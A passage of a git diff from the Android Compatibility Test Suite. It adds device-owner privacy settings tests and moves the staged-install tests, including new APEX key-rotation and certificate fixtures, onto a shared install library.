+        intent.setFlags(Intent.FLAG_ACTIVITY_NEW_TASK);
+        ctx.startActivity(intent);
+        Thread.sleep(TIMEOUT * 2);
+    }
+
+    private void disableWorkPolicyInfoActivity() {
+        mContext.getPackageManager()
+                .setComponentEnabledSetting(
+                        new ComponentName(mContext, WorkPolicyInfoActivity.class),
+                        PackageManager.COMPONENT_ENABLED_STATE_DISABLED,
+                        PackageManager.DONT_KILL_APP);
+    }
+
+    /**
+     * If the app is the active device owner and has work policy info, then we should have a Privacy
+     * entry for it.
+     */
+    public void testDeviceOwnerWithInfo() throws Exception {
+        assertTrue(mIsDeviceOwner);
+        assertTrue(
+                "Couldn't find work policy info settings entry",
+                launchPrivacyAndCheckWorkPolicyInfo());
+    }
+
+    /**
+     * If the app is the active device owner, but doesn't have work policy info, then we shouldn't
+     * have a Privacy entry for it.
+     */
+    public void testDeviceOwnerWithoutInfo() throws Exception {
+        assertTrue(mIsDeviceOwner);
+        disableWorkPolicyInfoActivity();
+        assertFalse(
+                "Work policy info settings entry shouldn't be present",
+                launchPrivacyAndCheckWorkPolicyInfo());
+    }
+
+    /**
+     * If the app is NOT the active device owner, then we should not have a Privacy entry for work
+     * policy info.
+     */
+    public void testNonDeviceOwnerWithInfo() throws Exception {
+        assertFalse(mIsDeviceOwner);
+        assertFalse(
+                "Work policy info settings entry shouldn't be present",
+                launchPrivacyAndCheckWorkPolicyInfo());
+    }
+
+    /**
+     * If the app is NOT the active device owner, and doesn't have work policy info, then we should
+     * not have a Privacy entry for work policy info.
+     */
+    public void testNonDeviceOwnerWithoutInfo() throws Exception {
+        assertFalse(mIsDeviceOwner);
+        disableWorkPolicyInfoActivity();
+        assertFalse(
+                "Work policy info settings entry shouldn't be present",
+                launchPrivacyAndCheckWorkPolicyInfo());
+    }
+}
diff --git a/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/WorkPolicyInfoActivity.java b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/WorkPolicyInfoActivity.java
new file mode 100644
index 0000000..2e7052f
--- /dev/null
+++ b/hostsidetests/settings/app/DeviceOwnerApp/src/com/google/android/cts/deviceowner/WorkPolicyInfoActivity.java
@@ -0,0 +1,23 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.android.cts.deviceowner;
+
+import android.app.Activity;
+
+/** Test activity for work policy info. */
+public class WorkPolicyInfoActivity extends Activity {
+    /* empty */
+}
diff --git a/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java b/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java
new file mode 100644
index 0000000..da7d873
--- /dev/null
+++ b/hostsidetests/settings/src/com/google/android/cts/settings/PrivacyDeviceOwnerTest.java
@@ -0,0 +1,237 @@
+/*
+ * Copyright (C) 2019 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package com.google.android.cts.settings;
+
+import com.android.compatibility.common.tradefed.build.CompatibilityBuildHelper;
+import com.android.ddmlib.Log.LogLevel;
+import com.android.ddmlib.testrunner.RemoteAndroidTestRunner;
+import com.android.ddmlib.testrunner.TestResult.TestStatus;
+import com.android.tradefed.build.IBuildInfo;
+import com.android.tradefed.device.DeviceNotAvailableException;
+import com.android.tradefed.log.LogUtil.CLog;
+import com.android.tradefed.result.CollectingTestListener;
+import com.android.tradefed.result.TestDescription;
+import com.android.tradefed.result.TestResult;
+import com.android.tradefed.result.TestRunResult;
+import com.android.tradefed.testtype.DeviceTestCase;
+import com.android.tradefed.testtype.IBuildReceiver;
+import java.io.FileNotFoundException;
+import java.util.HashSet;
+import java.util.LinkedList;
+import java.util.List;
+import java.util.Map;
+import java.util.Set;
+import java.util.concurrent.TimeUnit;
+import javax.annotation.Nullable;
+
+/** Set of tests for Device Owner use cases. */
+public class PrivacyDeviceOwnerTest extends DeviceTestCase implements IBuildReceiver {
+    private static final String RUNNER = "androidx.test.runner.AndroidJUnitRunner";
+
+    private static final String DEVICE_OWNER_APK = "CtsSettingsDeviceOwnerApp.apk";
+    private static final String DEVICE_OWNER_PKG = "com.google.android.cts.deviceowner";
+
+    private static final String ADMIN_RECEIVER_TEST_CLASS = ".DeviceOwnerTest$BasicAdminReceiver";
+    private static final String CLEAR_DEVICE_OWNER_TEST_CLASS = ".ClearDeviceOwnerTest";
+
+    /**
+     * The defined timeout (in milliseconds) is used as a maximum waiting time when expecting the
+     * command output from the device. At any time, if the shell command does not output anything
+     * for a period longer than defined timeout the Tradefed run terminates.
+     */
+    private static final long DEFAULT_SHELL_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(20);
+
+    /** instrumentation test runner argument key used for individual test timeout */
+    protected static final String TEST_TIMEOUT_INST_ARGS_KEY = "timeout_msec";
+
+    /**
+     * Sets timeout (in milliseconds) that will be applied to each test. In the event of a test
+     * timeout it will log the results and proceed with executing the next test.
+     */
+    private static final long DEFAULT_TEST_TIMEOUT_MILLIS = TimeUnit.MINUTES.toMillis(10);
+
+    protected boolean mHasFeature;
+    protected IBuildInfo mCtsBuild;
+
+    @Override
+    public void setBuild(IBuildInfo buildInfo) {
+        mCtsBuild = buildInfo;
+    }
+
+    @Override
+    protected void setUp() throws Exception {
+        super.setUp();
+
+        mHasFeature = hasDeviceFeature("android.software.device_admin");
+        if (mHasFeature) {
+            installPackage(DEVICE_OWNER_APK);
+        }
+    }
+
+    @Override
+    protected void tearDown() throws Exception {
+        if (mHasFeature) {
+            assertTrue(
+                    "Failed to remove device owner.",
+                    runDeviceTests(
+                            DEVICE_OWNER_PKG,
+                            DEVICE_OWNER_PKG + CLEAR_DEVICE_OWNER_TEST_CLASS,
+                            null));
+            getDevice().uninstallPackage(DEVICE_OWNER_PKG);
+        }
+
+        super.tearDown();
+    }
+
+    /** The case: app is the device owner, has work policy info. */
+    public void testDeviceOwnerWithInfo() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        setDeviceOwner();
+        executeDeviceOwnerTest("testDeviceOwnerWithInfo");
+    }
+
+    /** The case: app is NOT the device owner, has work policy info. */
+    public void testNonDeviceOwnerWithInfo() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceOwnerTest("testNonDeviceOwnerWithInfo");
+    }
+
+    /** The case: app is the device owner, doesn't have work policy info. */
+    public void testDeviceOwnerWithoutInfo() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        setDeviceOwner();
+        executeDeviceOwnerTest("testDeviceOwnerWithoutInfo");
+    }
+
+    /** The case: app is NOT the device owner, doesn't have work policy info. */
+    public void testNonDeviceOwnerWithoutInfo() throws Exception {
+        if (!mHasFeature) {
+            return;
+        }
+        executeDeviceOwnerTest("testNonDeviceOwnerWithoutInfo");
+    }
+
+    private void executeDeviceOwnerTest(String testMethodName) throws Exception {
+        String testClass = DEVICE_OWNER_PKG + ".DeviceOwnerTest";
+        assertTrue(
+                testClass + " failed.",
+                runDeviceTests(DEVICE_OWNER_PKG, testClass, testMethodName));
+    }
+
+    protected void installPackage(String appFileName)
+            throws FileNotFoundException, DeviceNotAvailableException {
+        CLog.d("Installing app " + appFileName);
+        CompatibilityBuildHelper buildHelper = new CompatibilityBuildHelper(mCtsBuild);
+        List<String> extraArgs = new LinkedList<>();
+        extraArgs.add("-t");
+        String result =
+                getDevice()
+                        .installPackage(
+                                buildHelper.getTestFile(appFileName),
+                                true,
+                                true,
+                                extraArgs.toArray(new String[extraArgs.size()]));
+        assertNull("Failed to install " + appFileName + ": " + result, result);
+    }
+
+    protected boolean runDeviceTests(
+            String pkgName, @Nullable String testClassName, @Nullable String testMethodName)
+            throws DeviceNotAvailableException {
+        if (testClassName != null && testClassName.startsWith(".")) {
+            testClassName = pkgName + testClassName;
+        }
+        RemoteAndroidTestRunner testRunner =
+                new RemoteAndroidTestRunner(pkgName, RUNNER, getDevice().getIDevice());
+        testRunner.setMaxTimeToOutputResponse(DEFAULT_SHELL_TIMEOUT_MILLIS, TimeUnit.MILLISECONDS);
+        testRunner.addInstrumentationArg(
+                TEST_TIMEOUT_INST_ARGS_KEY, Long.toString(DEFAULT_TEST_TIMEOUT_MILLIS));
+
+        if (testClassName != null && testMethodName != null) {
+            testRunner.setMethodName(testClassName, testMethodName);
+        } else if (testClassName != null) {
+            testRunner.setClassName(testClassName);
+        }
+
+        CollectingTestListener listener = new CollectingTestListener();
+        boolean runResult = getDevice().runInstrumentationTests(testRunner, listener);
+
+        final TestRunResult result = listener.getCurrentRunResults();
+        if (result.isRunFailure()) {
+            throw new AssertionError(
+                    "Failed to successfully run device tests for "
+                            + result.getName()
+                            + ": "
+                            + result.getRunFailureMessage());
+        }
+        if (result.getNumTests() == 0) {
+            throw new AssertionError("No tests were run on the device");
+        }
+
+        if (result.hasFailedTests()) {
+            // build a meaningful error message
+            StringBuilder errorBuilder = new StringBuilder("On-device tests failed:\n");
+            for (Map.Entry<TestDescription, TestResult> resultEntry :
+                    result.getTestResults().entrySet()) {
+                if (!resultEntry.getValue().getStatus().equals(TestStatus.PASSED)) {
+                    errorBuilder.append(resultEntry.getKey().toString());
+                    errorBuilder.append(":\n");
+                    errorBuilder.append(resultEntry.getValue().getStackTrace());
+                }
+            }
+            throw new AssertionError(errorBuilder.toString());
+        }
+
+        return runResult;
+    }
+
+    private void setDeviceOwner() throws DeviceNotAvailableException {
+        String componentName = DEVICE_OWNER_PKG + "/" + ADMIN_RECEIVER_TEST_CLASS;
+        String command = "dpm set-device-owner '" + componentName + "'";
+        String commandOutput = getDevice().executeShellCommand(command);
+        CLog.logAndDisplay(LogLevel.INFO, "Output for command " + command + ": " + commandOutput);
+        assertTrue(
+                commandOutput + " expected to start with \"Success:\" " + commandOutput,
+                commandOutput.startsWith("Success:"));
+    }
+
+    protected boolean hasDeviceFeature(String requiredFeature) throws DeviceNotAvailableException {
+        String command = "pm list features";
+        String commandOutput = getDevice().executeShellCommand(command);
+        CLog.i("Output for command " + command + ": " + commandOutput);
+
+        Set<String> availableFeatures = new HashSet<>();
+        for (String feature : commandOutput.split("\\s+")) {
+            // Each line in the output of the command has the format "feature:{FEATURE_VALUE}".
+            String[] tokens = feature.split(":");
+            assertTrue(
+                    "\"" + feature + "\" expected to have format feature:{FEATURE_VALUE}",
+                    tokens.length > 1);
+            assertEquals(feature, "feature", tokens[0]);
+            availableFeatures.add(tokens[1]);
+        }
+        boolean result = availableFeatures.contains(requiredFeature);
+        if (!result) {
+            CLog.d("Device doesn't have required feature " + requiredFeature + ". Test won't run.");
+        }
+        return result;
+    }
+}
diff --git a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
index a0e435f..f386a71 100644
--- a/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
+++ b/hostsidetests/shortcuts/deviceside/upgrade/Android.bp
@@ -27,6 +27,9 @@
         "vts",
         "general-tests",
     ],
+    static_libs: [
+        "compatibility-device-util-axt",
+    ],
 }
 
 android_test_helper_app {
diff --git a/hostsidetests/signedconfig/hostside/OWNERS b/hostsidetests/signedconfig/hostside/OWNERS
new file mode 100644
index 0000000..f968305
--- /dev/null
+++ b/hostsidetests/signedconfig/hostside/OWNERS
@@ -0,0 +1,3 @@
+# Bug component: 533114
+mathewi@google.com
+*
diff --git a/hostsidetests/stagedinstall/Android.bp b/hostsidetests/stagedinstall/Android.bp
index 49f7f87..270bd81 100644
--- a/hostsidetests/stagedinstall/Android.bp
+++ b/hostsidetests/stagedinstall/Android.bp
@@ -45,54 +45,35 @@
     manifest : "app/AndroidManifest.xml",
 
     java_resources:  [
+        ":ApexKeyRotationTestV2_SignedBob",
+        ":ApexKeyRotationTestV2_SignedBobRot",
+        ":ApexKeyRotationTestV2_SignedBobRotRollback",
+        ":ApexKeyRotationTestV3_SignedBob",
+        ":ApexKeyRotationTestV3_SignedBobRot",
         ":StagedInstallTestApexV1_NotPreInstalled",
+        ":StagedInstallTestApexV1",
         ":StagedInstallTestApexV2",
         ":StagedInstallTestApexV2_AdditionalFile",
         ":StagedInstallTestApexV2_AdditionalFolder",
+        ":StagedInstallTestApexV2_DifferentCertificate",
         ":StagedInstallTestApexV2_WithPostInstallHook",
         ":StagedInstallTestApexV2_WithPreInstallHook",
         ":StagedInstallTestApexV2_WrongSha",
         ":StagedInstallTestApexV3",
-        ":StagedInstallTestAppAv1",
-        ":StagedInstallTestAppAv2",
-        ":StagedInstallTestAppBv1",
         ":StagedInstallTestAppSamePackageNameAsApex",
     ],
     static_libs: [
         "androidx.test.runner",
         "androidx.test.core",
         "truth-prebuilt",
+        "cts-install-lib",
     ],
-    sdk_version: "system_current",
+    sdk_version: "test_current",
     test_suites: ["device-tests"],
 
 }
 
 android_test_helper_app {
-    name: "StagedInstallTestAppAv1",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Av1.xml",
-}
-
-android_test_helper_app {
-    name: "StagedInstallTestAppAv2",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Av2.xml",
-}
-
-android_test_helper_app {
-    name: "StagedInstallTestAppBv1",
-
-    srcs:   ["testdata/apk/src/**/*java"],
-
-    manifest:   "testdata/apk/Bv1.xml",
-}
-
-android_test_helper_app {
     name: "StagedInstallTestAppSamePackageNameAsApex",
 
     srcs:   ["testdata/apk/src/**/*java"],
@@ -101,6 +82,48 @@
 }
 
 prebuilt_apex {
+    name: "ApexKeyRotationTestV2_SignedBob",
+    src: "testdata/apex/com.android.apex.cts.shim.v2_signed_bob.apex",
+    filename: "com.android.apex.cts.shim.v2_signed_bob.apex",
+    installable: false,
+}
+
+prebuilt_apex {
+    name: "ApexKeyRotationTestV2_SignedBobRot",
+    src: "testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot.apex",
+    filename: "com.android.apex.cts.shim.v2_signed_bob_rot.apex",
+    installable: false,
+}
+
+prebuilt_apex {
+    name: "ApexKeyRotationTestV2_SignedBobRotRollback",
+    src: "testdata/apex/com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex",
+    filename: "com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex",
+    installable: false,
+}
+
+prebuilt_apex {
+    name: "ApexKeyRotationTestV3_SignedBob",
+    src: "testdata/apex/com.android.apex.cts.shim.v3_signed_bob.apex",
+    filename: "com.android.apex.cts.shim.v3_signed_bob.apex",
+    installable: false,
+}
+
+prebuilt_apex {
+    name: "ApexKeyRotationTestV3_SignedBobRot",
+    src: "testdata/apex/com.android.apex.cts.shim.v3_signed_bob_rot.apex",
+    filename: "com.android.apex.cts.shim.v3_signed_bob_rot.apex",
+    installable: false,
+}
+
+prebuilt_apex {
+    name: "StagedInstallTestApexV1",
+    src: "testdata/apex/com.android.apex.cts.shim.v1.apex",
+    filename: "com.android.apex.cts.shim.v1.apex",
+    installable: false,
+}
+
+prebuilt_apex {
     name: "StagedInstallTestApexV2",
     src: "testdata/apex/com.android.apex.cts.shim.v2.apex",
     filename: "com.android.apex.cts.shim.v2.apex",
@@ -155,3 +178,10 @@
     filename: "com.android.apex.cts.shim_not_pre_installed.apex",
     installable: false,
 }
+
+prebuilt_apex {
+    name: "StagedInstallTestApexV2_DifferentCertificate",
+    src: "testdata/apex/com.android.apex.cts.shim.v2_different_certificate.apex",
+    filename: "com.android.apex.cts.shim.v2_different_certificate.apex",
+    installable: false,
+}
diff --git a/hostsidetests/stagedinstall/AndroidTest.xml b/hostsidetests/stagedinstall/AndroidTest.xml
index ad944b0..64d7495 100644
--- a/hostsidetests/stagedinstall/AndroidTest.xml
+++ b/hostsidetests/stagedinstall/AndroidTest.xml
@@ -24,10 +24,10 @@
         <option name="test-file-name" value="StagedInstallTest.apk" />
     </target_preparer>
     <target_preparer class="com.android.tradefed.targetprep.RunCommandTargetPreparer">
-        <option name="run-command" value="pm uninstall com.android.tests.stagedinstall.testapp.A" />
-        <option name="run-command" value="pm uninstall com.android.tests.stagedinstall.testapp.B" />
-        <option name="teardown-command" value="pm uninstall com.android.tests.stagedinstall.testapp.A" />
-        <option name="teardown-command" value="pm uninstall com.android.tests.stagedinstall.testapp.B" />
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="run-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.A" />
+        <option name="teardown-command" value="pm uninstall com.android.cts.install.lib.testapp.B" />
     </target_preparer>
     <test class="com.android.tradefed.testtype.HostTest" >
         <option name="class" value="com.android.tests.stagedinstall.host.StagedInstallTest" />
diff --git a/hostsidetests/stagedinstall/TEST_MAPPING b/hostsidetests/stagedinstall/TEST_MAPPING
index c487fa3..8a1c753 100644
--- a/hostsidetests/stagedinstall/TEST_MAPPING
+++ b/hostsidetests/stagedinstall/TEST_MAPPING
@@ -1,6 +1,16 @@
 {
   "presubmit": [
     {
+      "name": "CtsStagedInstallHostTestCases",
+      "options": [
+        {
+          "exclude-annotation": "android.platform.test.annotations.LargeTest"
+        }
+      ]
+    }
+  ],
+  "postsubmit": [
+    {
       "name": "CtsStagedInstallHostTestCases"
     }
   ]
diff --git a/hostsidetests/stagedinstall/app/AndroidManifest.xml b/hostsidetests/stagedinstall/app/AndroidManifest.xml
index c327b79..51c2ec4 100644
--- a/hostsidetests/stagedinstall/app/AndroidManifest.xml
+++ b/hostsidetests/stagedinstall/app/AndroidManifest.xml
@@ -18,7 +18,7 @@
           package="com.android.tests.stagedinstall" >
 
     <application>
-        <receiver android:name="com.android.tests.stagedinstall.LocalIntentSender"
+        <receiver android:name="com.android.cts.install.lib.LocalIntentSender"
                   android:exported="true" />
         <receiver android:name="com.android.tests.stagedinstall.SessionUpdateBroadcastReceiver">
             <intent-filter>
@@ -32,4 +32,4 @@
     <instrumentation android:name="androidx.test.runner.AndroidJUnitRunner"
                      android:targetPackage="com.android.tests.stagedinstall"
                      android:label="StagedInstall Test"/>
-</manifest>
\ No newline at end of file
+</manifest>
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
index f9c4ba8..2abb723 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/ApexShimValidationTest.java
@@ -21,22 +21,22 @@
 import static com.google.common.truth.Truth.assertThat;
 
 import android.Manifest;
-import android.content.Context;
 import android.content.Intent;
-import android.content.pm.PackageInfo;
 import android.content.pm.PackageInstaller;
-import android.content.pm.PackageManager;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
 import org.junit.runner.RunWith;
 import org.junit.runners.JUnit4;
 
-import java.io.InputStream;
-import java.io.OutputStream;
 import java.util.concurrent.TimeUnit;
 
 /**
@@ -120,63 +120,19 @@
 
     @Test
     public void testInstallRejected_VerifyPostReboot() throws Exception {
-        assertThat(getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
-    }
-
-    private static PackageInstaller getPackageInstaller() {
-        return InstrumentationRegistry.getInstrumentation().getContext().getPackageManager()
-                .getPackageInstaller();
-    }
-
-    private static long getInstalledVersion(String packageName) {
-        Context context = InstrumentationRegistry.getInstrumentation().getContext();
-        PackageManager pm = context.getPackageManager();
-        try {
-            PackageInfo info = pm.getPackageInfo(packageName, PackageManager.MATCH_APEX);
-            return info.getLongVersionCode();
-        } catch (PackageManager.NameNotFoundException e) {
-            return -1;
-        }
+        assertThat(InstallUtils.getInstalledVersion(SHIM_APEX_PACKAGE_NAME)).isEqualTo(1);
     }
 
     private static int stageApex(String apexFileName) throws Exception {
-        PackageInstaller installer = getPackageInstaller();
-
-        PackageInstaller.SessionParams params = new PackageInstaller.SessionParams(
-                PackageInstaller.SessionParams.MODE_FULL_INSTALL);
-        params.setInstallAsApex();
-        params.setStaged();
-        int sessionId = installer.createSession(params);
-        PackageInstaller.Session session = installer.openSession(sessionId);
-        writeApex(session, apexFileName);
-        session.commit(LocalIntentSender.getIntentSender());
-        Intent result = LocalIntentSender.getIntentSenderResult();
-        assertStatusSuccess(result);
-        return sessionId;
-    }
-
-    private static void writeApex(PackageInstaller.Session session, String apkFileName)
-            throws Exception {
-        try (OutputStream packageInSession = session.openWrite(apkFileName, 0, -1);
-             InputStream is =
-                     ApexShimValidationTest.class.getClassLoader().getResourceAsStream(
-                             apkFileName)) {
-            byte[] buffer = new byte[4096];
-            int n;
-            while ((n = is.read(buffer)) >= 0) {
-                packageInSession.write(buffer, 0, n);
-            }
-        }
-    }
-
-    private static void assertStatusSuccess(Intent result) {
-        int status = result.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        if (status == -1) {
-            throw new AssertionError("PENDING USER ACTION");
-        } else if (status > 0) {
-            String message = result.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-            throw new AssertionError(message == null ? "UNKNOWN FAILURE" : message);
+        TestApp apexTestApp = new TestApp("ShimApex", SHIM_APEX_PACKAGE_NAME, 2,
+                true, apexFileName);
+        int sessionId = Install.single(apexTestApp).setStaged().createSession();
+        try (PackageInstaller.Session session =
+                     InstallUtils.openPackageInstallerSession(sessionId)) {
+            session.commit(LocalIntentSender.getIntentSender());
+            Intent result = LocalIntentSender.getIntentSenderResult();
+            InstallUtils.assertStatusSuccess(result);
+            return sessionId;
         }
     }
 }
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LocalIntentSender.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LocalIntentSender.java
deleted file mode 100644
index d4b3f48..0000000
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/LocalIntentSender.java
+++ /dev/null
@@ -1,72 +0,0 @@
-/*
- * Copyright (C) 2019 The Android Open Source Project
- *
- * Licensed under the Apache License, Version 2.0 (the "License");
- * you may not use this file except in compliance with the License.
- * You may obtain a copy of the License at
- *
- *      http://www.apache.org/licenses/LICENSE-2.0
- *
- * Unless required by applicable law or agreed to in writing, software
- * distributed under the License is distributed on an "AS IS" BASIS,
- * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
- * See the License for the specific language governing permissions and
- * limitations under the License.
- */
-
-package com.android.tests.stagedinstall;
-
-import android.app.PendingIntent;
-import android.content.BroadcastReceiver;
-import android.content.Context;
-import android.content.Intent;
-import android.content.IntentSender;
-import android.content.pm.PackageInstaller;
-import android.util.Log;
-
-import androidx.test.InstrumentationRegistry;
-
-import java.util.concurrent.BlockingQueue;
-import java.util.concurrent.LinkedBlockingQueue;
-
-public class LocalIntentSender extends BroadcastReceiver {
-    private static final String TAG = "StagedInstallTest";
-    private static final BlockingQueue<Intent> sIntentSenderResults = new LinkedBlockingQueue<>();
-
-    @Override
-    public void onReceive(Context context, Intent intent) {
-        Log.i(TAG, "Received intent " + prettyPrint(intent));
-        sIntentSenderResults.add(intent);
-    }
-
-    /**
-     * Get a LocalIntentSender.
-     */
-    static IntentSender getIntentSender() {
-        Context context = InstrumentationRegistry.getContext();
-        Intent intent = new Intent(context, LocalIntentSender.class);
-        PendingIntent pending = PendingIntent.getBroadcast(context, 0, intent, 0);
-        return pending.getIntentSender();
-    }
-
-    /**
-     * Returns the most recent Intent sent by a LocalIntentSender.
-     */
-    static Intent getIntentSenderResult() throws InterruptedException {
-        Intent intent = sIntentSenderResults.take();
-        Log.i(TAG, "Taking intent " + prettyPrint(intent));
-        return intent;
-    }
-
-    private static String prettyPrint(Intent intent) {
-        int sessionId = intent.getIntExtra(PackageInstaller.EXTRA_SESSION_ID, -1);
-        int status = intent.getIntExtra(PackageInstaller.EXTRA_STATUS,
-                PackageInstaller.STATUS_FAILURE);
-        String message = intent.getStringExtra(PackageInstaller.EXTRA_STATUS_MESSAGE);
-        return String.format("%s: {\n"
-                + "sessionId = %d\n"
-                + "status = %d\n"
-                + "message = %s\n"
-                + "}", intent, sessionId, status, message);
-    }
-}
diff --git a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
index 968960a..0842894 100644
--- a/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
+++ b/hostsidetests/stagedinstall/app/src/com/android/tests/stagedinstall/StagedInstallTest.java
@@ -16,6 +16,7 @@
 
 package com.android.tests.stagedinstall;
 
+import static com.android.cts.install.lib.InstallUtils.getPackageInstaller;
 import static com.android.tests.stagedinstall.PackageInstallerSessionInfoSubject.assertThat;
 
 import static com.google.common.truth.Truth.assertThat;
@@ -26,16 +27,22 @@
 import android.Manifest;
 import android.content.Context;
 import android.content.Intent;
+import android.content.pm.ApplicationInfo;
 import android.content.pm.PackageInfo;
 import android.content.pm.PackageInstaller;
 import android.content.pm.PackageManager;
 import android.os.Handler;
 import android.os.HandlerThread;
 import android.util.Log;
-import android.util.Pair;
 
 import androidx.test.platform.app.InstrumentationRegistry;
 
+import com.android.cts.install.lib.Install;
+import com.android.cts.install.lib.InstallUtils;
+import com.android.cts.install.lib.LocalIntentSender;
+import com.android.cts.install.lib.TestApp;
+import com.android.cts.install.lib.Uninstall;
+
 import org.junit.After;
 import org.junit.Before;
 import org.junit.Test;
@@ -47,6 +54,7 @@
 import java.io.File;
 import java.io.FileReader;
 import java.io.FileWriter;
+import java.io.IOException;
 import java.io.InputStream;
 import java.io.OutputStream;
 import java.nio.file.Files;
@@ -56,6 +64,7 @@
 import java.util.List;
 import java.util.concurrent.TimeUnit;
 import java.util.function.Consumer;
+import java.util.stream.Collectors;
 
 /**
  * This series of tests are meant to be driven by a host, since some of the interactions being
@@ -82,12 +91,6 @@
 
     private static final String TAG = "StagedInstallTest";
 
-    private static final String TEST_APP_A = "com.android.tests.stagedinstall.testapp.A";
-    private static final String TEST_APP_B = "com.android.tests.stagedinstall.testapp.B";
-    private static final String SHIM_APEX_PACKAGE_NAME = "com.android.apex.cts.shim";
-    private static final String NOT_PRE_INSTALLED_SHIM_APEX_PACKAGE_NAME =
-            "com.android.apex.cts.shim_not_pre_installed";
-
     private File mTestStateFile = new File(
             InstrumentationRegistry.getInstrumentation().getContext().getFilesDir(),
             "ctsstagedinstall_state");
@@ -95,6 +98,29 @@
     private static final Duration WAIT_FOR_SESSION_REMOVED_TTL = Duration.ofSeconds(10);
     private static final Duration SLEEP_DURATION = Duration.ofMillis(200);
 
+    private static final String SHIM_PACKAGE_NAME = "com.android.apex.cts.shim";
+    private static final TestApp TESTAPP_SAME_NAME_AS_APEX = new TestApp(
+            "TestAppSamePackageNameAsApex", SHIM_PACKAGE_NAME, 1, /*isApex*/ false,
+            "StagedInstallTestAppSamePackageNameAsApex.apk");
+    public static final TestApp Apex2DifferentCertificate = new TestApp(
+            "Apex2DifferentCertificate", SHIM_PACKAGE_NAME, 2, /*isApex*/true,
+            "com.android.apex.cts.shim.v2_different_certificate.apex");
+    private static final TestApp Apex2SignedBob = new TestApp(
+            "Apex2SignedBob", SHIM_PACKAGE_NAME, 2, /*isApex*/true,
+                    "com.android.apex.cts.shim.v2_signed_bob.apex");
+    private static final TestApp Apex2SignedBobRot = new TestApp(
+            "Apex2SignedBobRot", SHIM_PACKAGE_NAME, 2, /*isApex*/true,
+                    "com.android.apex.cts.shim.v2_signed_bob_rot.apex");
+    private static final TestApp Apex2SignedBobRotRollback = new TestApp(
+            "Apex2SignedBobRotRollback", SHIM_PACKAGE_NAME, 2, /*isApex*/true,
+            "com.android.apex.cts.shim.v2_signed_bob_rot_rollback.apex");
+    private static final TestApp Apex3SignedBob = new TestApp(
+            "Apex3SignedBob", SHIM_PACKAGE_NAME, 3, /*isApex*/true,
+                    "com.android.apex.cts.shim.v3_signed_bob.apex");
+    private static final TestApp Apex3SignedBobRot = new TestApp(
+            "Apex3SignedBobRot", SHIM_PACKAGE_NAME, 3, /*isApex*/true,
+                    "com.android.apex.cts.shim.v3_signed_bob_rot.apex");
+
     @Before
     public void adoptShellPermissions() {
         InstrumentationRegistry
@@ -126,6 +152,10 @@
         PackageInstaller packageInstaller = getPackageInstaller();
         List<PackageInstaller.SessionInfo> stagedSessions = packageInstaller.getStagedSessions();
         for (PackageInstaller.SessionInfo sessionInfo : stagedSessions) {
+            if (sessionInfo.getParentSessionId() != PackageInstaller.SessionInfo.INVALID_ID) {
+                // Cannot abandon a child session
+                continue;
+            }
             try {
                 Log.i(TAG, "abandoning session " + sessionInfo.getSessionId());
